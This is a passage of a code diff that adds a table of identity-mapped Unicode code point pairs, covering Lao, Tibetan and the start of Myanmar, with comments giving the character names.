+ ["\u0E9E", "\u0E9E"], /* LAO LETTER PHO TAM */
+ ["\u0E9F", "\u0E9F"], /* LAO LETTER FO SUNG */
+ ["\u0EA0", "\u0EA0"], /* LAO LETTER PALI BHA */
+ ["\u0EA1", "\u0EA1"], /* LAO LETTER MO */
+ ["\u0EA2", "\u0EA2"], /* LAO LETTER YO */
+ ["\u0EA3", "\u0EA3"], /* LAO LETTER LO LING */
+ ["\u0EA4", "\u0EA4"],
+ ["\u0EA5", "\u0EA5"], /* LAO LETTER LO LOOT */
+ ["\u0EA6", "\u0EA6"],
+ ["\u0EA7", "\u0EA7"], /* LAO LETTER WO */
+ ["\u0EA8", "\u0EA8"], /* LAO LETTER SANSKRIT SHA */
+ ["\u0EA9", "\u0EA9"], /* LAO LETTER SANSKRIT SSA */
+ ["\u0EAA", "\u0EAA"], /* LAO LETTER SO SUNG */
+ ["\u0EAB", "\u0EAB"], /* LAO LETTER HO SUNG */
+ ["\u0EAC", "\u0EAC"], /* LAO LETTER PALI LLA */
+ ["\u0EAD", "\u0EAD"], /* LAO LETTER O */
+ ["\u0EAE", "\u0EAE"], /* LAO LETTER HO TAM */
+ ["\u0EAF", "\u0EAF"], /* LAO ELLIPSIS */
+ ["\u0EB0", "\u0EB0"], /* LAO VOWEL SIGN A */
+ ["\u0EB1", "\u0EB1"], /* LAO VOWEL SIGN MAI KAN */
+ ["\u0EB2", "\u0EB2"], /* LAO VOWEL SIGN AA */
+ ["\u0EB3", "\u0EB3"], /* LAO VOWEL SIGN AM */
+ ["\u0EB4", "\u0EB4"], /* LAO VOWEL SIGN I */
+ ["\u0EB5", "\u0EB5"], /* LAO VOWEL SIGN II */
+ ["\u0EB6", "\u0EB6"], /* LAO VOWEL SIGN Y */
+ ["\u0EB7", "\u0EB7"], /* LAO VOWEL SIGN YY */
+ ["\u0EB8", "\u0EB8"], /* LAO VOWEL SIGN U */
+ ["\u0EB9", "\u0EB9"], /* LAO VOWEL SIGN UU */
+ ["\u0EBA", "\u0EBA"], /* LAO SIGN PALI VIRAMA */
+ ["\u0EBB", "\u0EBB"], /* LAO VOWEL SIGN MAI KON */
+ ["\u0EBC", "\u0EBC"], /* LAO SEMIVOWEL SIGN LO */
+ ["\u0EBD", "\u0EBD"], /* LAO SEMIVOWEL SIGN NYO */
+ ["\u0EBE", "\u0EBE"],
+ ["\u0EBF", "\u0EBF"],
+ ["\u0EC0", "\u0EC0"], /* LAO VOWEL SIGN E */
+ ["\u0EC1", "\u0EC1"], /* LAO VOWEL SIGN EI */
+ ["\u0EC2", "\u0EC2"], /* LAO VOWEL SIGN O */
+ ["\u0EC3", "\u0EC3"], /* LAO VOWEL SIGN AY */
+ ["\u0EC4", "\u0EC4"], /* LAO VOWEL SIGN AI */
+ ["\u0EC5", "\u0EC5"],
+ ["\u0EC6", "\u0EC6"], /* LAO KO LA */
+ ["\u0EC7", "\u0EC7"],
+ ["\u0EC8", "\u0EC8"], /* LAO TONE MAI EK */
+ ["\u0EC9", "\u0EC9"], /* LAO TONE MAI THO */
+ ["\u0ECA", "\u0ECA"], /* LAO TONE MAI TI */
+ ["\u0ECB", "\u0ECB"], /* LAO TONE MAI CATAWA */
+ ["\u0ECC", "\u0ECC"], /* LAO CANCELLATION MARK */
+ ["\u0ECD", "\u0ECD"], /* LAO NIGGAHITA */
+ ["\u0ECE", "\u0ECE"],
+ ["\u0ECF", "\u0ECF"],
+ ["\u0ED0", "\u0ED0"], /* LAO DIGIT ZERO */
+ ["\u0ED1", "\u0ED1"], /* LAO DIGIT ONE */
+ ["\u0ED2", "\u0ED2"], /* LAO DIGIT TWO */
+ ["\u0ED3", "\u0ED3"], /* LAO DIGIT THREE */
+ ["\u0ED4", "\u0ED4"], /* LAO DIGIT FOUR */
+ ["\u0ED5", "\u0ED5"], /* LAO DIGIT FIVE */
+ ["\u0ED6", "\u0ED6"], /* LAO DIGIT SIX */
+ ["\u0ED7", "\u0ED7"], /* LAO DIGIT SEVEN */
+ ["\u0ED8", "\u0ED8"], /* LAO DIGIT EIGHT */
+ ["\u0ED9", "\u0ED9"], /* LAO DIGIT NINE */
+ ["\u0EDA", "\u0EDA"],
+ ["\u0EDB", "\u0EDB"],
+ ["\u0EDC", "\u0EDC"], /* LAO HO NO */
+ ["\u0EDD", "\u0EDD"], /* LAO HO MO */
+ ["\u0EDE", "\u0EDE"], /* LAO LETTER KHMU GO */
+ ["\u0EDF", "\u0EDF"], /* LAO LETTER KHMU NYO */
+ ["\u0EE0", "\u0EE0"],
+ ["\u0EE1", "\u0EE1"],
+ ["\u0EE2", "\u0EE2"],
+ ["\u0EE3", "\u0EE3"],
+ ["\u0EE4", "\u0EE4"],
+ ["\u0EE5", "\u0EE5"],
+ ["\u0EE6", "\u0EE6"],
+ ["\u0EE7", "\u0EE7"],
+ ["\u0EE8", "\u0EE8"],
+ ["\u0EE9", "\u0EE9"],
+ ["\u0EEA", "\u0EEA"],
+ ["\u0EEB", "\u0EEB"],
+ ["\u0EEC", "\u0EEC"],
+ ["\u0EED", "\u0EED"],
+ ["\u0EEE", "\u0EEE"],
+ ["\u0EEF", "\u0EEF"],
+ ["\u0EF0", "\u0EF0"],
+ ["\u0EF1", "\u0EF1"],
+ ["\u0EF2", "\u0EF2"],
+ ["\u0EF3", "\u0EF3"],
+ ["\u0EF4", "\u0EF4"],
+ ["\u0EF5", "\u0EF5"],
+ ["\u0EF6", "\u0EF6"],
+ ["\u0EF7", "\u0EF7"],
+ ["\u0EF8", "\u0EF8"],
+ ["\u0EF9", "\u0EF9"],
+ ["\u0EFA", "\u0EFA"],
+ ["\u0EFB", "\u0EFB"],
+ ["\u0EFC", "\u0EFC"],
+ ["\u0EFD", "\u0EFD"],
+ ["\u0EFE", "\u0EFE"],
+ ["\u0EFF", "\u0EFF"],
+ ["\u0F00", "\u0F00"], /* TIBETAN SYLLABLE OM */
+ ["\u0F01", "\u0F01"], /* TIBETAN MARK GTER YIG MGO TRUNCATED A */
+ ["\u0F02", "\u0F02"], /* TIBETAN MARK GTER YIG MGO -UM RNAM BCAD MA */
+ ["\u0F03", "\u0F03"], /* TIBETAN MARK GTER YIG MGO -UM GTER TSHEG MA */
+ ["\u0F04", "\u0F04"], /* TIBETAN MARK INITIAL YIG MGO MDUN MA (TIBETAN SINGLE ORNAMENT) */
+ ["\u0F05", "\u0F05"], /* TIBETAN MARK CLOSING YIG MGO SGAB MA */
+ ["\u0F06", "\u0F06"], /* TIBETAN MARK CARET YIG MGO PHUR SHAD MA */
+ ["\u0F07", "\u0F07"], /* TIBETAN MARK YIG MGO TSHEG SHAD MA */
+ ["\u0F08", "\u0F08"], /* TIBETAN MARK SBRUL SHAD (TIBETAN RGYANSHAD) */
+ ["\u0F09", "\u0F09"], /* TIBETAN MARK BSKUR YIG MGO */
+ ["\u0F0A", "\u0F0A"], /* TIBETAN MARK BKA- SHOG YIG MGO */
+ ["\u0F0B", "\u0F0B"], /* TIBETAN MARK INTERSYLLABIC TSHEG (TIBETAN TSEG) */
+ ["\u0F0C", "\u0F0C"], /* TIBETAN MARK DELIMITER TSHEG BSTAR */
+ ["\u0F0D", "\u0F0D"], /* TIBETAN MARK SHAD (TIBETAN SHAD) */
+ ["\u0F0E", "\u0F0E"], /* TIBETAN MARK NYIS SHAD (TIBETAN DOUBLE SHAD) */
+ ["\u0F0F", "\u0F0F"], /* TIBETAN MARK TSHEG SHAD */
+ ["\u0F10", "\u0F10"], /* TIBETAN MARK NYIS TSHEG SHAD */
+ ["\u0F11", "\u0F11"], /* TIBETAN MARK RIN CHEN SPUNGS SHAD (TIBETAN RINCHANPHUNGSHAD) */
+ ["\u0F12", "\u0F12"], /* TIBETAN MARK RGYA GRAM SHAD */
+ ["\u0F13", "\u0F13"], /* TIBETAN MARK CARET -DZUD RTAGS ME LONG CAN */
+ ["\u0F14", "\u0F14"], /* TIBETAN MARK GTER TSHEG (TIBETAN COMMA) */
+ ["\u0F15", "\u0F15"], /* TIBETAN LOGOTYPE SIGN CHAD RTAGS */
+ ["\u0F16", "\u0F16"], /* TIBETAN LOGOTYPE SIGN LHAG RTAGS */
+ ["\u0F17", "\u0F17"], /* TIBETAN ASTROLOGICAL SIGN SGRA GCAN -CHAR RTAGS */
+ ["\u0F18", "\u0F18"], /* TIBETAN ASTROLOGICAL SIGN -KHYUD PA */
+ ["\u0F19", "\u0F19"], /* TIBETAN ASTROLOGICAL SIGN SDONG TSHUGS */
+ ["\u0F1A", "\u0F1A"], /* TIBETAN SIGN RDEL DKAR GCIG */
+ ["\u0F1B", "\u0F1B"], /* TIBETAN SIGN RDEL DKAR GNYIS */
+ ["\u0F1C", "\u0F1C"], /* TIBETAN SIGN RDEL DKAR GSUM */
+ ["\u0F1D", "\u0F1D"], /* TIBETAN SIGN RDEL NAG GCIG */
+ ["\u0F1E", "\u0F1E"], /* TIBETAN SIGN RDEL NAG GNYIS */
+ ["\u0F1F", "\u0F1F"], /* TIBETAN SIGN RDEL DKAR RDEL NAG */
+ ["\u0F20", "\u0F20"], /* TIBETAN DIGIT ZERO */
+ ["\u0F21", "\u0F21"], /* TIBETAN DIGIT ONE */
+ ["\u0F22", "\u0F22"], /* TIBETAN DIGIT TWO */
+ ["\u0F23", "\u0F23"], /* TIBETAN DIGIT THREE */
+ ["\u0F24", "\u0F24"], /* TIBETAN DIGIT FOUR */
+ ["\u0F25", "\u0F25"], /* TIBETAN DIGIT FIVE */
+ ["\u0F26", "\u0F26"], /* TIBETAN DIGIT SIX */
+ ["\u0F27", "\u0F27"], /* TIBETAN DIGIT SEVEN */
+ ["\u0F28", "\u0F28"], /* TIBETAN DIGIT EIGHT */
+ ["\u0F29", "\u0F29"], /* TIBETAN DIGIT NINE */
+ ["\u0F2A", "\u0F2A"], /* TIBETAN DIGIT HALF ONE */
+ ["\u0F2B", "\u0F2B"], /* TIBETAN DIGIT HALF TWO */
+ ["\u0F2C", "\u0F2C"], /* TIBETAN DIGIT HALF THREE */
+ ["\u0F2D", "\u0F2D"], /* TIBETAN DIGIT HALF FOUR */
+ ["\u0F2E", "\u0F2E"], /* TIBETAN DIGIT HALF FIVE */
+ ["\u0F2F", "\u0F2F"], /* TIBETAN DIGIT HALF SIX */
+ ["\u0F30", "\u0F30"], /* TIBETAN DIGIT HALF SEVEN */
+ ["\u0F31", "\u0F31"], /* TIBETAN DIGIT HALF EIGHT */
+ ["\u0F32", "\u0F32"], /* TIBETAN DIGIT HALF NINE */
+ ["\u0F33", "\u0F33"], /* TIBETAN DIGIT HALF ZERO */
+ ["\u0F34", "\u0F34"], /* TIBETAN MARK BSDUS RTAGS */
+ ["\u0F35", "\u0F35"], /* TIBETAN MARK NGAS BZUNG NYI ZLA (TIBETAN HONORIFIC UNDER RING) */
+ ["\u0F36", "\u0F36"], /* TIBETAN MARK CARET -DZUD RTAGS BZHI MIG CAN */
+ ["\u0F37", "\u0F37"], /* TIBETAN MARK NGAS BZUNG SGOR RTAGS (TIBETAN UNDER RING) */
+ ["\u0F38", "\u0F38"], /* TIBETAN MARK CHE MGO */
+ ["\u0F39", "\u0F39"], /* TIBETAN MARK TSA -PHRU (TIBETAN LENITION MARK) */
+ ["\u0F3A", "\u0F3A"], /* TIBETAN MARK GUG RTAGS GYON */
+ ["\u0F3B", "\u0F3B"], /* TIBETAN MARK GUG RTAGS GYAS */
+ ["\u0F3C", "\u0F3C"], /* TIBETAN MARK ANG KHANG GYON (TIBETAN LEFT BRACE) */
+ ["\u0F3D", "\u0F3D"], /* TIBETAN MARK ANG KHANG GYAS (TIBETAN RIGHT BRACE) */
+ ["\u0F3E", "\u0F3E"], /* TIBETAN SIGN YAR TSHES */
+ ["\u0F3F", "\u0F3F"], /* TIBETAN SIGN MAR TSHES */
+ ["\u0F40", "\u0F40"], /* TIBETAN LETTER KA */
+ ["\u0F41", "\u0F41"], /* TIBETAN LETTER KHA */
+ ["\u0F42", "\u0F42"], /* TIBETAN LETTER GA */
+ ["\u0F43", "\u0F43"], /* TIBETAN LETTER GHA */
+ ["\u0F44", "\u0F44"], /* TIBETAN LETTER NGA */
+ ["\u0F45", "\u0F45"], /* TIBETAN LETTER CA */
+ ["\u0F46", "\u0F46"], /* TIBETAN LETTER CHA */
+ ["\u0F47", "\u0F47"], /* TIBETAN LETTER JA */
+ ["\u0F48", "\u0F48"],
+ ["\u0F49", "\u0F49"], /* TIBETAN LETTER NYA */
+ ["\u0F4A", "\u0F4A"], /* TIBETAN LETTER TTA (TIBETAN LETTER REVERSED TA) */
+ ["\u0F4B", "\u0F4B"], /* TIBETAN LETTER TTHA (TIBETAN LETTER REVERSED THA) */
+ ["\u0F4C", "\u0F4C"], /* TIBETAN LETTER DDA (TIBETAN LETTER REVERSED DA) */
+ ["\u0F4D", "\u0F4D"], /* TIBETAN LETTER DDHA */
+ ["\u0F4E", "\u0F4E"], /* TIBETAN LETTER NNA (TIBETAN LETTER REVERSED NA) */
+ ["\u0F4F", "\u0F4F"], /* TIBETAN LETTER TA */
+ ["\u0F50", "\u0F50"], /* TIBETAN LETTER THA */
+ ["\u0F51", "\u0F51"], /* TIBETAN LETTER DA */
+ ["\u0F52", "\u0F52"], /* TIBETAN LETTER DHA */
+ ["\u0F53", "\u0F53"], /* TIBETAN LETTER NA */
+ ["\u0F54", "\u0F54"], /* TIBETAN LETTER PA */
+ ["\u0F55", "\u0F55"], /* TIBETAN LETTER PHA */
+ ["\u0F56", "\u0F56"], /* TIBETAN LETTER BA */
+ ["\u0F57", "\u0F57"], /* TIBETAN LETTER BHA */
+ ["\u0F58", "\u0F58"], /* TIBETAN LETTER MA */
+ ["\u0F59", "\u0F59"], /* TIBETAN LETTER TSA */
+ ["\u0F5A", "\u0F5A"], /* TIBETAN LETTER TSHA */
+ ["\u0F5B", "\u0F5B"], /* TIBETAN LETTER DZA */
+ ["\u0F5C", "\u0F5C"], /* TIBETAN LETTER DZHA */
+ ["\u0F5D", "\u0F5D"], /* TIBETAN LETTER WA */
+ ["\u0F5E", "\u0F5E"], /* TIBETAN LETTER ZHA */
+ ["\u0F5F", "\u0F5F"], /* TIBETAN LETTER ZA */
+ ["\u0F60", "\u0F60"], /* TIBETAN LETTER -A (TIBETAN LETTER AA) */
+ ["\u0F61", "\u0F61"], /* TIBETAN LETTER YA */
+ ["\u0F62", "\u0F62"], /* TIBETAN LETTER RA */
+ ["\u0F63", "\u0F63"], /* TIBETAN LETTER LA */
+ ["\u0F64", "\u0F64"], /* TIBETAN LETTER SHA */
+ ["\u0F65", "\u0F65"], /* TIBETAN LETTER SSA (TIBETAN LETTER REVERSED SHA) */
+ ["\u0F66", "\u0F66"], /* TIBETAN LETTER SA */
+ ["\u0F67", "\u0F67"], /* TIBETAN LETTER HA */
+ ["\u0F68", "\u0F68"], /* TIBETAN LETTER A */
+ ["\u0F69", "\u0F69"], /* TIBETAN LETTER KSSA */
+ ["\u0F6A", "\u0F6A"], /* TIBETAN LETTER FIXED-FORM RA */
+ ["\u0F6B", "\u0F6B"], /* TIBETAN LETTER KKA */
+ ["\u0F6C", "\u0F6C"], /* TIBETAN LETTER RRA */
+ ["\u0F6D", "\u0F6D"],
+ ["\u0F6E", "\u0F6E"],
+ ["\u0F6F", "\u0F6F"],
+ ["\u0F70", "\u0F70"],
+ ["\u0F71", "\u0F71"], /* TIBETAN VOWEL SIGN AA */
+ ["\u0F72", "\u0F72"], /* TIBETAN VOWEL SIGN I */
+ ["\u0F73", "\u0F73"], /* TIBETAN VOWEL SIGN II */
+ ["\u0F74", "\u0F74"], /* TIBETAN VOWEL SIGN U */
+ ["\u0F75", "\u0F75"], /* TIBETAN VOWEL SIGN UU */
+ ["\u0F76", "\u0F76"], /* TIBETAN VOWEL SIGN VOCALIC R */
+ ["\u0F77", "\u0F77"], /* TIBETAN VOWEL SIGN VOCALIC RR */
+ ["\u0F78", "\u0F78"], /* TIBETAN VOWEL SIGN VOCALIC L */
+ ["\u0F79", "\u0F79"], /* TIBETAN VOWEL SIGN VOCALIC LL */
+ ["\u0F7A", "\u0F7A"], /* TIBETAN VOWEL SIGN E */
+ ["\u0F7B", "\u0F7B"], /* TIBETAN VOWEL SIGN EE (TIBETAN VOWEL SIGN AI) */
+ ["\u0F7C", "\u0F7C"], /* TIBETAN VOWEL SIGN O */
+ ["\u0F7D", "\u0F7D"], /* TIBETAN VOWEL SIGN OO (TIBETAN VOWEL SIGN AU) */
+ ["\u0F7E", "\u0F7E"], /* TIBETAN SIGN RJES SU NGA RO (TIBETAN ANUSVARA) */
+ ["\u0F7F", "\u0F7F"], /* TIBETAN SIGN RNAM BCAD (TIBETAN VISARGA) */
+ ["\u0F80", "\u0F80"], /* TIBETAN VOWEL SIGN REVERSED I (TIBETAN VOWEL SIGN SHORT I) */
+ ["\u0F81", "\u0F81"], /* TIBETAN VOWEL SIGN REVERSED II */
+ ["\u0F82", "\u0F82"], /* TIBETAN SIGN NYI ZLA NAA DA (TIBETAN CANDRABINDU WITH ORNAMENT) */
+ ["\u0F83", "\u0F83"], /* TIBETAN SIGN SNA LDAN (TIBETAN CANDRABINDU) */
+ ["\u0F84", "\u0F84"], /* TIBETAN MARK HALANTA (TIBETAN VIRAMA) */
+ ["\u0F85", "\u0F85"], /* TIBETAN MARK PALUTA (TIBETAN CHUCHENYIGE) */
+ ["\u0F86", "\u0F86"], /* TIBETAN SIGN LCI RTAGS */
+ ["\u0F87", "\u0F87"], /* TIBETAN SIGN YANG RTAGS */
+ ["\u0F88", "\u0F88"], /* TIBETAN SIGN LCE TSA CAN */
+ ["\u0F89", "\u0F89"], /* TIBETAN SIGN MCHU CAN */
+ ["\u0F8A", "\u0F8A"], /* TIBETAN SIGN GRU CAN RGYINGS */
+ ["\u0F8B", "\u0F8B"], /* TIBETAN SIGN GRU MED RGYINGS */
+ ["\u0F8C", "\u0F8C"], /* TIBETAN SIGN INVERTED MCHU CAN */
+ ["\u0F8D", "\u0F8D"], /* TIBETAN SUBJOINED SIGN LCE TSA CAN */
+ ["\u0F8E", "\u0F8E"], /* TIBETAN SUBJOINED SIGN MCHU CAN */
+ ["\u0F8F", "\u0F8F"], /* TIBETAN SUBJOINED SIGN INVERTED MCHU CAN */
+ ["\u0F90", "\u0F90"], /* TIBETAN SUBJOINED LETTER KA */
+ ["\u0F91", "\u0F91"], /* TIBETAN SUBJOINED LETTER KHA */
+ ["\u0F92", "\u0F92"], /* TIBETAN SUBJOINED LETTER GA */
+ ["\u0F93", "\u0F93"], /* TIBETAN SUBJOINED LETTER GHA */
+ ["\u0F94", "\u0F94"], /* TIBETAN SUBJOINED LETTER NGA */
+ ["\u0F95", "\u0F95"], /* TIBETAN SUBJOINED LETTER CA */
+ ["\u0F96", "\u0F96"], /* TIBETAN SUBJOINED LETTER CHA */
+ ["\u0F97", "\u0F97"], /* TIBETAN SUBJOINED LETTER JA */
+ ["\u0F98", "\u0F98"],
+ ["\u0F99", "\u0F99"], /* TIBETAN SUBJOINED LETTER NYA */
+ ["\u0F9A", "\u0F9A"], /* TIBETAN SUBJOINED LETTER TTA */
+ ["\u0F9B", "\u0F9B"], /* TIBETAN SUBJOINED LETTER TTHA */
+ ["\u0F9C", "\u0F9C"], /* TIBETAN SUBJOINED LETTER DDA */
+ ["\u0F9D", "\u0F9D"], /* TIBETAN SUBJOINED LETTER DDHA */
+ ["\u0F9E", "\u0F9E"], /* TIBETAN SUBJOINED LETTER NNA */
+ ["\u0F9F", "\u0F9F"], /* TIBETAN SUBJOINED LETTER TA */
+ ["\u0FA0", "\u0FA0"], /* TIBETAN SUBJOINED LETTER THA */
+ ["\u0FA1", "\u0FA1"], /* TIBETAN SUBJOINED LETTER DA */
+ ["\u0FA2", "\u0FA2"], /* TIBETAN SUBJOINED LETTER DHA */
+ ["\u0FA3", "\u0FA3"], /* TIBETAN SUBJOINED LETTER NA */
+ ["\u0FA4", "\u0FA4"], /* TIBETAN SUBJOINED LETTER PA */
+ ["\u0FA5", "\u0FA5"], /* TIBETAN SUBJOINED LETTER PHA */
+ ["\u0FA6", "\u0FA6"], /* TIBETAN SUBJOINED LETTER BA */
+ ["\u0FA7", "\u0FA7"], /* TIBETAN SUBJOINED LETTER BHA */
+ ["\u0FA8", "\u0FA8"], /* TIBETAN SUBJOINED LETTER MA */
+ ["\u0FA9", "\u0FA9"], /* TIBETAN SUBJOINED LETTER TSA */
+ ["\u0FAA", "\u0FAA"], /* TIBETAN SUBJOINED LETTER TSHA */
+ ["\u0FAB", "\u0FAB"], /* TIBETAN SUBJOINED LETTER DZA */
+ ["\u0FAC", "\u0FAC"], /* TIBETAN SUBJOINED LETTER DZHA */
+ ["\u0FAD", "\u0FAD"], /* TIBETAN SUBJOINED LETTER WA */
+ ["\u0FAE", "\u0FAE"], /* TIBETAN SUBJOINED LETTER ZHA */
+ ["\u0FAF", "\u0FAF"], /* TIBETAN SUBJOINED LETTER ZA */
+ ["\u0FB0", "\u0FB0"], /* TIBETAN SUBJOINED LETTER -A */
+ ["\u0FB1", "\u0FB1"], /* TIBETAN SUBJOINED LETTER YA */
+ ["\u0FB2", "\u0FB2"], /* TIBETAN SUBJOINED LETTER RA */
+ ["\u0FB3", "\u0FB3"], /* TIBETAN SUBJOINED LETTER LA */
+ ["\u0FB4", "\u0FB4"], /* TIBETAN SUBJOINED LETTER SHA */
+ ["\u0FB5", "\u0FB5"], /* TIBETAN SUBJOINED LETTER SSA */
+ ["\u0FB6", "\u0FB6"], /* TIBETAN SUBJOINED LETTER SA */
+ ["\u0FB7", "\u0FB7"], /* TIBETAN SUBJOINED LETTER HA */
+ ["\u0FB8", "\u0FB8"], /* TIBETAN SUBJOINED LETTER A */
+ ["\u0FB9", "\u0FB9"], /* TIBETAN SUBJOINED LETTER KSSA */
+ ["\u0FBA", "\u0FBA"], /* TIBETAN SUBJOINED LETTER FIXED-FORM WA */
+ ["\u0FBB", "\u0FBB"], /* TIBETAN SUBJOINED LETTER FIXED-FORM YA */
+ ["\u0FBC", "\u0FBC"], /* TIBETAN SUBJOINED LETTER FIXED-FORM RA */
+ ["\u0FBD", "\u0FBD"],
+ ["\u0FBE", "\u0FBE"], /* TIBETAN KU RU KHA */
+ ["\u0FBF", "\u0FBF"], /* TIBETAN KU RU KHA BZHI MIG CAN */
+ ["\u0FC0", "\u0FC0"], /* TIBETAN CANTILLATION SIGN HEAVY BEAT */
+ ["\u0FC1", "\u0FC1"], /* TIBETAN CANTILLATION SIGN LIGHT BEAT */
+ ["\u0FC2", "\u0FC2"], /* TIBETAN CANTILLATION SIGN CANG TE-U */
+ ["\u0FC3", "\u0FC3"], /* TIBETAN CANTILLATION SIGN SBUB -CHAL */
+ ["\u0FC4", "\u0FC4"], /* TIBETAN SYMBOL DRIL BU */
+ ["\u0FC5", "\u0FC5"], /* TIBETAN SYMBOL RDO RJE */
+ ["\u0FC6", "\u0FC6"], /* TIBETAN SYMBOL PADMA GDAN */
+ ["\u0FC7", "\u0FC7"], /* TIBETAN SYMBOL RDO RJE RGYA GRAM */
+ ["\u0FC8", "\u0FC8"], /* TIBETAN SYMBOL PHUR PA */
+ ["\u0FC9", "\u0FC9"], /* TIBETAN SYMBOL NOR BU */
+ ["\u0FCA", "\u0FCA"], /* TIBETAN SYMBOL NOR BU NYIS -KHYIL */
+ ["\u0FCB", "\u0FCB"], /* TIBETAN SYMBOL NOR BU GSUM -KHYIL */
+ ["\u0FCC", "\u0FCC"], /* TIBETAN SYMBOL NOR BU BZHI -KHYIL */
+ ["\u0FCD", "\u0FCD"],
+ ["\u0FCE", "\u0FCE"], /* TIBETAN SIGN RDEL NAG RDEL DKAR */
+ ["\u0FCF", "\u0FCF"], /* TIBETAN SIGN RDEL NAG GSUM */
+ ["\u0FD0", "\u0FD0"], /* TIBETAN MARK BSKA- SHOG GI MGO RGYAN */
+ ["\u0FD1", "\u0FD1"], /* TIBETAN MARK MNYAM YIG GI MGO RGYAN */
+ ["\u0FD2", "\u0FD2"], /* TIBETAN MARK NYIS TSHEG */
+ ["\u0FD3", "\u0FD3"], /* TIBETAN MARK INITIAL BRDA RNYING YIG MGO MDUN MA */
+ ["\u0FD4", "\u0FD4"], /* TIBETAN MARK CLOSING BRDA RNYING YIG MGO SGAB MA */
+ ["\u0FD5", "\u0FD5"], /* RIGHT-FACING SVASTI SIGN */
+ ["\u0FD6", "\u0FD6"], /* LEFT-FACING SVASTI SIGN */
+ ["\u0FD7", "\u0FD7"], /* RIGHT-FACING SVASTI SIGN WITH DOTS */
+ ["\u0FD8", "\u0FD8"], /* LEFT-FACING SVASTI SIGN WITH DOTS */
+ ["\u0FD9", "\u0FD9"], /* TIBETAN MARK LEADING MCHAN RTAGS */
+ ["\u0FDA", "\u0FDA"], /* TIBETAN MARK TRAILING MCHAN RTAGS */
+ ["\u0FDB", "\u0FDB"],
+ ["\u0FDC", "\u0FDC"],
+ ["\u0FDD", "\u0FDD"],
+ ["\u0FDE", "\u0FDE"],
+ ["\u0FDF", "\u0FDF"],
+ ["\u0FE0", "\u0FE0"],
+ ["\u0FE1", "\u0FE1"],
+ ["\u0FE2", "\u0FE2"],
+ ["\u0FE3", "\u0FE3"],
+ ["\u0FE4", "\u0FE4"],
+ ["\u0FE5", "\u0FE5"],
+ ["\u0FE6", "\u0FE6"],
+ ["\u0FE7", "\u0FE7"],
+ ["\u0FE8", "\u0FE8"],
+ ["\u0FE9", "\u0FE9"],
+ ["\u0FEA", "\u0FEA"],
+ ["\u0FEB", "\u0FEB"],
+ ["\u0FEC", "\u0FEC"],
+ ["\u0FED", "\u0FED"],
+ ["\u0FEE", "\u0FEE"],
+ ["\u0FEF", "\u0FEF"],
+ ["\u0FF0", "\u0FF0"],
+ ["\u0FF1", "\u0FF1"],
+ ["\u0FF2", "\u0FF2"],
+ ["\u0FF3", "\u0FF3"],
+ ["\u0FF4", "\u0FF4"],
+ ["\u0FF5", "\u0FF5"],
+ ["\u0FF6", "\u0FF6"],
+ ["\u0FF7", "\u0FF7"],
+ ["\u0FF8", "\u0FF8"],
+ ["\u0FF9", "\u0FF9"],
+ ["\u0FFA", "\u0FFA"],
+ ["\u0FFB", "\u0FFB"],
+ ["\u0FFC", "\u0FFC"],
+ ["\u0FFD", "\u0FFD"],
+ ["\u0FFE", "\u0FFE"],
+ ["\u0FFF", "\u0FFF"],
+ ["\u1000", "\u1000"], /* MYANMAR LETTER KA */
+ ["\u1001", "\u1001"], /* MYANMAR LETTER KHA */
+ ["\u1002", "\u1002"], /* MYANMAR LETTER GA */
+ ["\u1003", "\u1003"], /* MYANMAR LETTER GHA */
+ ["\u1004", "\u1004"], /* MYANMAR LETTER NGA */
+ ["\u1005", "\u1005"], /* MYANMAR LETTER CA */
+ ["\u1006", "\u1006"], /* MYANMAR LETTER CHA */
+ ["\u1007", "\u1007"], /* MYANMAR LETTER JA */
+ ["\u1008", "\u1008"], /* MYANMAR LETTER JHA */
+ ["\u1009", "\u1009"], /* MYANMAR LETTER NYA */
+ ["\u100A", "\u100A"], /* MYANMAR LETTER NNYA */
+ ["\u100B", "\u100B"], /* MYANMAR LETTER TTA */
+ ["\u100C", "\u100C"], /* MYANMAR LETTER TTHA */
+ ["\u100D", "\u100D"], /* MYANMAR LETTER DDA */
+ ["\u100E", "\u100E"], /* MYANMAR LETTER DDHA */
+ ["\u100F", "\u100F"], /* MYANMAR LETTER NNA */
+ ["\u1010", "\u1010"], /* MYANMAR LETTER TA */
+ ["\u1011", "\u1011"], /* MYANMAR LETTER THA */
+ ["\u1012", "\u1012"], /* MYANMAR LETTER DA */
+ ["\u1013", "\u1013"], /* MYANMAR LETTER DHA */
+ ["\u1014", "\u1014"], /* MYANMAR LETTER NA */
+ ["\u1015", "\u1015"], /* MYANMAR LETTER PA */
+ ["\u1016", "\u1016"], /* MYANMAR LETTER PHA */
+ ["\u1017", "\u1017"], /* MYANMAR LETTER BA */
+ ["\u1018", "\u1018"], /* MYANMAR LETTER BHA */
+ ["\u1019", "\u1019"], /* MYANMAR LETTER MA */
+ ["\u101A", "\u101A"], /* MYANMAR LETTER YA */
+ ["\u101B", "\u101B"], /* MYANMAR LETTER RA */
+ ["\u101C", "\u101C"], /* MYANMAR LETTER LA */
+ ["\u101D", "\u101D"], /* MYANMAR LETTER WA */
+ ["\u101E", "\u101E"], /* MYANMAR LETTER SA */
+ ["\u101F", "\u101F"], /* MYANMAR LETTER HA */
+ ["\u1020", "\u1020"], /* MYANMAR LETTER LLA */
+ ["\u1021", "\u1021"], /* MYANMAR LETTER A */
+ ["\u1022", "\u1022"], /* MYANMAR LETTER SHAN A */
+ ["\u1023", "\u1023"], /* MYANMAR LETTER I */
+ ["\u1024", "\u1024"], /* MYANMAR LETTER II */
+ ["\u1025", "\u1025"], /* MYANMAR LETTER U */
+ ["\u1026", "\u1026"], /* MYANMAR LETTER UU */
+ ["\u1027", "\u1027"], /* MYANMAR LETTER E */
+ ["\u1028", "\u1028"], /* MYANMAR LETTER MON E */
+ ["\u1029", "\u1029"], /* MYANMAR LETTER O */
+ ["\u102A", "\u102A"], /* MYANMAR LETTER AU */
+ ["\u102B", "\u102B"], /* MYANMAR VOWEL SIGN TALL AA */
+ ["\u102C", "\u102C"], /* MYANMAR VOWEL SIGN AA */
+ ["\u102D", "\u102D"], /* MYANMAR VOWEL SIGN I */
+ ["\u102E", "\u102E"], /* MYANMAR VOWEL SIGN II */
+ ["\u102F", "\u102F"], /* MYANMAR VOWEL SIGN U */
+ ["\u1030", "\u1030"], /* MYANMAR VOWEL SIGN UU */
+ ["\u1031", "\u1031"], /* MYANMAR VOWEL SIGN E */
+ ["\u1032", "\u1032"], /* MYANMAR VOWEL SIGN AI */
+ ["\u1033", "\u1033"], /* MYANMAR VOWEL SIGN MON II */
